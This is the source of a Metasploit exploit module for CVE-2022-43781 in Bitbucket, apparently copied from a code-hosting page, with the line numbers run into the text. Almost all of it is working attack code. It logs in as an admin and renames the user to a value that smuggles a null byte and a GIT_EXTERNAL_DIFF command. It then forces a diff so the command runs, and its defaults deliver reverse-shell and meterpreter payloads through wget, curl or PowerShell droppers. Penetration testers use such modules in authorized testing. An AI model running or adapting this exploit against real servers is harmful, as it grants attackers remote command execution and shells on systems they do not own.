Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/bitbucket_env_var_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Git10include Msf::Exploit::Git::SmartHttp11include Msf::Exploit::CmdStager12prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Bitbucket Environment Variable RCE',19'Description' => %q{20For various versions of Bitbucket, there is an authenticated command injection21vulnerability that can be exploited by injecting environment22variables into a user name. This module achieves remote code execution23as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment24variable, a null character as a delimiter, and arbitrary code into a user's25user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable26will be run once the Bitbucket application is coerced into generating a diff.2728This module requires at least admin credentials, as admins and above29only have the option to change their user name.30},31'License' => MSF_LICENSE,32'Author' => [33'Ry0taK', # Vulnerability Discovery34'y4er', # PoC and blog post35'Shelby Pace' # Metasploit Module36],37'References' => [38[ 'URL', 'https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/'],39[ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html'],40[ 'CVE', '2022-43781']41],42'Platform' => [ 'win', 'unix', 'linux' ],43'Privileged' => true,44'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],45'Targets' => [46[47'Linux Command',48{49'Platform' => 'unix',50'Type' => :unix_cmd,51'Arch' => [ ARCH_CMD ],52'Payload' => { 'Space' => 254 },53'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }54}55],56[57'Linux Dropper',58{59'Platform' => 'linux',60'MaxLineChars' => 254,61'Type' => :linux_dropper,62'Arch' => [ ARCH_X86, ARCH_X64 ],63'CmdStagerFlavor' => %i[wget curl],64'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }65}66],67[68'Windows Dropper',69{70'Platform' => 'win',71'MaxLineChars' => 254,72'Type' => :win_dropper,73'Arch' => [ ARCH_X86, ARCH_X64 ],74'CmdStagerFlavor' => [ :psh_invokewebrequest ],75'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }76}77]78],79'DisclosureDate' => '2022-11-16',80'DefaultTarget' => 0,81'Notes' => {82'Stability' => [ CRASH_SAFE ],83'Reliability' => [ REPEATABLE_SESSION ],84'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]85}86)87)8889register_options(90[91Opt::RPORT(7990),92OptString.new('USERNAME', [ true, 'User name to log in with' ]),93OptString.new('PASSWORD', [ true, 'Password to log in with' ]),94OptString.new('TARGETURI', [ true, 'The URI of the Bitbucket instance', '/'])95]96)97end9899def check100res = send_request_cgi(101'method' => 'GET',102'uri' => normalize_uri(target_uri.path, 'login'),103'keep_cookies' => true104)105106return CheckCode::Unknown('Failed to retrieve a response from the target') unless res107return CheckCode::Safe('Target does not appear to be Bitbucket') unless res.body.include?('Bitbucket')108109nokogiri_data = res.get_html_document110footer = nokogiri_data&.at('footer')111return CheckCode::Detected('Failed to retrieve version information from Bitbucket') unless footer112113version_info = footer.at('span')&.children&.text114return CheckCode::Detected('Failed to find version information in footer section') unless version_info115116vers_matches = version_info.match(/v(\d+\.\d+\.\d+)/)117return CheckCode::Detected('Failed to find version info in expected format') unless vers_matches && vers_matches.length > 1118119version_str = vers_matches[1]120121vprint_status("Found version #{version_str} of Bitbucket")122major, minor, revision = version_str.split('.')123rev_num = revision.to_i124125case major126when '7'127case minor128when '0', '1', '2', '3', '4', '5'129return CheckCode::Appears130when '6'131return CheckCode::Appears if rev_num >= 0 && rev_num <= 18132when '7', '8', '9', '10', '11', '12', '13', '14', '15', '16'133return CheckCode::Appears134when '17'135return CheckCode::Appears if rev_num >= 0 && rev_num <= 11136when '18', '19', '20'137return CheckCode::Appears138when '21'139return CheckCode::Appears if rev_num >= 0 && rev_num <= 5140end141when '8'142print_status('Versions 8.* are vulnerable only if the mesh setting is disabled')143case minor144when '0'145return CheckCode::Appears if rev_num >= 0 && rev_num <= 4146when '1'147return CheckCode::Appears if rev_num >= 0 && rev_num <= 4148when '2'149return CheckCode::Appears if rev_num >= 0 && rev_num <= 3150when '3'151return CheckCode::Appears if rev_num >= 0 && rev_num <= 2152when '4'153return CheckCode::Appears if rev_num == 0 || rev_num == 1154end155end156157CheckCode::Detected158end159160def default_branch161@default_branch ||= Rex::Text.rand_text_alpha(5..9)162end163164def uname_payload(cmd)165"#{datastore['USERNAME']}\u0000GIT_EXTERNAL_DIFF=$(#{cmd})"166end167168def log_in(username, password)169res = send_request_cgi(170'method' => 'GET',171'uri' => normalize_uri(target_uri.path, 'login'),172'keep_cookies' => true173)174175fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('login')176177res = send_request_cgi(178'method' => 'POST',179'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),180'keep_cookies' => true,181'vars_post' => {182'j_username' => username,183'j_password' => password,184'_atl_remember_me' => 'on',185'submit' => 'Log in'186}187)188189fail_with(Failure::UnexpectedReply, 'Didn\'t retrieve a response') unless res190res = send_request_cgi(191'method' => 'GET',192'uri' => normalize_uri(target_uri.path, 'projects'),193'keep_cookies' => true194)195196fail_with(Failure::UnexpectedReply, 'No response from the projects page') unless res197unless res.body.include?('Logged in')198fail_with(Failure::UnexpectedReply, 'Failed to log in. Please check credentials')199end200end201202def create_project203proj_uri = normalize_uri(target_uri.path, 'projects?create')204res = send_request_cgi(205'method' => 'GET',206'uri' => proj_uri,207'keep_cookies' => true208)209210fail_with(Failure::UnexpectedReply, 'Unable to access project creation page') unless res&.body&.include?('Create project')211212vprint_status('Retrieving security token')213html_doc = res.get_html_document214token_data = html_doc.at('div//input[@name="atl_token"]')215fail_with(Failure::UnexpectedReply, 'Failed to find element containing \'atl_token\'') unless token_data216217@token = token_data['value']218fail_with(Failure::UnexpectedReply, 'No token found') if @token.blank?219220project_name = Rex::Text.rand_text_alpha(5..9)221project_key = Rex::Text.rand_text_alpha(5..9).upcase222res = send_request_cgi(223'method' => 'POST',224'uri' => proj_uri,225'keep_cookies' => true,226'vars_post' => {227'name' => project_name,228'key' => project_key,229'submit' => 'Create project',230'atl_token' => @token231}232)233234fail_with(Failure::UnexpectedReply, 'Failed to receive response from project creation') unless res235fail_with(Failure::UnexpectedReply, 'Failed to create project') unless res['Location']&.include?(project_key)236237print_status('Project creation was successful')238[ project_name, project_key ]239end240241def create_repository242repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos?create')243res = send_request_cgi(244'method' => 'GET',245'uri' => repo_uri,246'keep_cookies' => true247)248249fail_with(Failure::UnexpectedReply, 'Failed to access repo creation page') unless res250251html_doc = res.get_html_document252253dropdown_data = html_doc.at('li[@class="user-dropdown"]')254fail_with(Failure::UnexpectedReply, 'Failed to find dropdown to retrieve email address') if dropdown_data.blank?255email = dropdown_data&.at('span')&.[]('data-emailaddress')256fail_with(Failure::UnexpectedReply, 'Failed to retrieve email address from response') if email.blank?257258repo_name = Rex::Text.rand_text_alpha(5..9)259res = send_request_cgi(260'method' => 'POST',261'uri' => repo_uri,262'keep_cookies' => true,263'vars_post' => {264'name' => repo_name,265'defaultBranchId' => default_branch,266'description' => '',267'scmId' => 'git',268'forkable' => 'false',269'atl_token' => @token,270'submit' => 'Create repository'271}272)273274fail_with(Failure::UnexpectedReply, 'No response received from repo creation') unless res275res = send_request_cgi(276'method' => 'GET',277'keep_cookies' => true,278'uri' => normalize_uri(target_uri.path, 'projects', @project_key, 'repos', repo_name, 'browse')279)280281fail_with(Failure::UnexpectedReply, 'Repository was not created') if res&.code == 404282print_good("Successfully created repository '#{repo_name}'")283284[ email, repo_name ]285end286287def generate_repo_objects(email, repo_file_data = [], parent_object = nil)288txt_data = Rex::Text.rand_text_alpha(5..20)289blob_object = GitObject.build_blob_object(txt_data)290file_name = "#{Rex::Text.rand_text_alpha(4..10)}.txt"291292file_data = {293mode: '100755',294file_name: file_name,295sha1: blob_object.sha1296}297298tree_data = (repo_file_data.empty? ? [ file_data ] : [ file_data, repo_file_data ])299tree_obj = GitObject.build_tree_object(tree_data)300commit_obj = GitObject.build_commit_object({301tree_sha1: tree_obj.sha1,302email: email,303message: Rex::Text.rand_text_alpha(4..30),304parent_sha1: (parent_object.nil? ? nil : parent_object.sha1)305})306307{308objects: [ commit_obj, tree_obj, blob_object ],309file_data: file_data310}311end312313# create two files in two separate commits in order314# to view a diff and get code execution315def create_commits(email)316init_objects = generate_repo_objects(email)317commit_obj = init_objects[:objects].first318319refs = {320'HEAD' => "refs/heads/#{default_branch}",321"refs/heads/#{default_branch}" => commit_obj.sha1322}323324final_objects = generate_repo_objects(email, init_objects[:file_data], commit_obj)325repo_objects = final_objects[:objects] + init_objects[:objects]326new_commit = final_objects[:objects].first327new_file = final_objects[:file_data][:file_name]328329git_uri = normalize_uri(target_uri.path, "scm/#{@project_key}/#{@repo_name}.git")330res = send_receive_pack_request(331git_uri,332refs['HEAD'],333repo_objects,334'0' * 40 # no commits should exist yet, so no branch tip in repo yet335)336337fail_with(Failure::UnexpectedReply, 'Failed to push commit to repository') unless res338fail_with(Failure::UnexpectedReply, 'Git responded with an error') if res.body.include?('error:')339fail_with(Failure::UnexpectedReply, 'Git push failed') unless res.body.include?('unpack ok')340341[ new_commit.sha1, commit_obj.sha1, new_file ]342end343344def get_user_id(curr_uname)345res = send_request_cgi(346'method' => 'GET',347'uri' => normalize_uri(target_uri.path, 'admin/users/view'),348'vars_get' => { 'name' => curr_uname }349)350351matched_id = res.get_html_document&.xpath("//script[contains(text(), '\"name\":\"#{curr_uname}\"')]")&.first&.text&.match(/"id":(\d+)/)352fail_with(Failure::UnexpectedReply, 'No matches found for id of user') unless matched_id && matched_id.length > 1353354matched_id[1]355end356357def change_username(curr_uname, new_uname)358@user_id ||= get_user_id(curr_uname)359360headers = {361'X-Requested-With' => 'XMLHttpRequest',362'X-AUSERID' => @user_id,363'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}"364}365366vars = {367'name' => curr_uname,368'newName' => new_uname369}.to_json370371res = send_request_cgi(372'method' => 'POST',373'uri' => normalize_uri(target_uri.path, 'rest/api/latest/admin/users/rename'),374'ctype' => 'application/json',375'keep_cookies' => true,376'headers' => headers,377'data' => vars378)379380unless res381print_bad('Did not receive a response to the user name change request')382return false383end384385unless res.body.include?(new_uname) || res.body.include?('GIT_EXTERNAL_DIFF')386print_bad('User name change was unsuccessful')387return false388end389390true391end392393def commit_uri(project_key, repo_name, commit_sha)394normalize_uri(395target_uri.path,396'rest/api/latest/projects',397project_key,398'repos',399repo_name,400'commits',401commit_sha402)403end404405def view_commit_diff(latest_commit_sha, first_commit_sha, diff_file)406commit_diff_uri = normalize_uri(407commit_uri(@project_key, @repo_name, latest_commit_sha),408'diff',409diff_file410)411412send_request_cgi(413'method' => 'GET',414'uri' => commit_diff_uri,415'keep_cookies' => true,416'vars_get' => { 'since' => first_commit_sha }417)418end419420def delete_repository(username)421vprint_status("Attempting to delete repository '#{@repo_name}'")422repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos', @repo_name.downcase)423res = send_request_cgi(424'method' => 'DELETE',425'uri' => repo_uri,426'keep_cookies' => true,427'headers' => {428'X-AUSERNAME' => username,429'X-AUSERID' => @user_id,430'X-Requested-With' => 'XMLHttpRequest',431'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",432'ctype' => 'application/json',433'Accept' => 'application/json, text/javascript'434}435)436437unless res&.body&.include?('scheduled for deletion')438print_warning('Failed to delete repository')439return440end441442print_good('Repository has been deleted')443end444445def delete_project(username)446vprint_status("Now attempting to delete project '#{@project_name}'")447send_request_cgi( # fails to return a response448'method' => 'DELETE',449'uri' => normalize_uri(target_uri.path, 'projects', @project_key),450'keep_cookies' => true,451'headers' => {452'X-AUSERNAME' => username,453'X-AUSERID' => @user_id,454'X-Requested-With' => 'XMLHttpRequest',455'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",456'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/projects/#{@project_key}/settings",457'ctype' => 'application/json',458'Accept' => 'application/json, text/javascript, */*; q=0.01',459'Accept-Encoding' => 'gzip, deflate'460}461)462463res = send_request_cgi(464'method' => 'GET',465'uri' => normalize_uri(target_uri.path, 'projects', @project_key),466'keep_cookies' => true467)468469unless res&.code == 404470print_warning('Failed to delete project')471return472end473474print_good('Project has been deleted')475end476477def get_repo478res = send_request_cgi(479'method' => 'GET',480'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),481'keep_cookies' => true482)483484unless res485print_status('Couldn\'t access repos page. Will create repo')486return []487end488489json_data = JSON.parse(res.body)490unless json_data && json_data['size'] >= 1491print_status('No accessible repositories. Will attempt to create a repo')492return []493end494495repo_data = json_data['values'].first496repo_name = repo_data['slug']497project_key = repo_data['project']['key']498499unless repo_name && project_key500print_status('Could not find repo name and key. Creating repo')501return []502end503504[ repo_name, project_key ]505end506507def get_repo_info508unless @project_name && @project_key509print_status('Failed to find valid project information. Will attempt to create repo')510return nil511end512513res = send_request_cgi(514'method' => 'GET',515'uri' => normalize_uri('projects', @project_key, 'repos', @project_name, 'commits'),516'keep_cookies' => true517)518519unless res520print_status("Failed to access existing repository #{@project_name}")521return nil522end523524html_doc = res.get_html_document525commit_data = html_doc.search('a[@class="commitid"]')526unless commit_data && commit_data.length > 1527print_status('No commits found for existing repo')528return nil529end530531latest_commit = commit_data[0]['data-commitid']532prev_commit = commit_data[1]['data-commitid']533534file_uri = normalize_uri(commit_uri(@project_key, @project_name, latest_commit), 'changes')535res = send_request_cgi(536'method' => 'GET',537'uri' => file_uri,538'keep_cookies' => true539)540541return nil unless res542543json = JSON.parse(res.body)544return nil unless json['values']545546path = json['values']&.first&.dig('path')547return nil unless path548549[ latest_commit, prev_commit, path['name'] ]550end551552def exploit553@use_public_repo = true554datastore['GIT_USERNAME'] = datastore['USERNAME']555datastore['GIT_PASSWORD'] = datastore['PASSWORD']556557if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?558fail_with(Failure::BadConfig, 'No credentials to log in with.')559end560561log_in(datastore['USERNAME'], datastore['PASSWORD'])562@curr_uname = datastore['USERNAME']563564@project_name, @project_key = get_repo565@repo_name = @project_name566@latest_commit, @first_commit, @diff_file = get_repo_info567unless @latest_commit && @first_commit && @diff_file568@use_public_repo = false569@project_name, @project_key = create_project570email, @repo_name = create_repository571@latest_commit, @first_commit, @diff_file = create_commits(email)572print_good("Commits added: #{@first_commit}, #{@latest_commit}")573end574575print_status('Sending payload')576case target['Type']577when :win_dropper578execute_cmdstager(linemax: target['MaxLineChars'] - uname_payload('cmd.exe /c ').length, noconcat: true, temp: '.')579when :linux_dropper580execute_cmdstager(linemax: target['MaxLineChars'], noconcat: true)581when :unix_cmd582execute_command(payload.encoded.strip)583end584end585586def cleanup587if @curr_uname != datastore['USERNAME']588print_status("Changing user name back to '#{datastore['USERNAME']}'")589590if change_username(@curr_uname, datastore['USERNAME'])591@curr_uname = datastore['USERNAME']592else593print_warning('User name is still set to payload.' \594"Please manually change the user name back to #{datastore['USERNAME']}")595end596end597598unless @use_public_repo599delete_repository(@curr_uname) if @repo_name600delete_project(@curr_uname) if @project_name601end602end603604def execute_command(cmd, _opts = {})605if target['Platform'] == 'win'606curr_payload = (cmd.ends_with?('.exe') ? uname_payload("cmd.exe /c #{cmd}") : uname_payload(cmd))607else608curr_payload = uname_payload(cmd)609end610611unless change_username(@curr_uname, curr_payload)612fail_with(Failure::UnexpectedReply, 'Failed to change user name to payload')613end614615view_commit_diff(@latest_commit, @first_commit, @diff_file)616@curr_uname = curr_payload617end618end619620621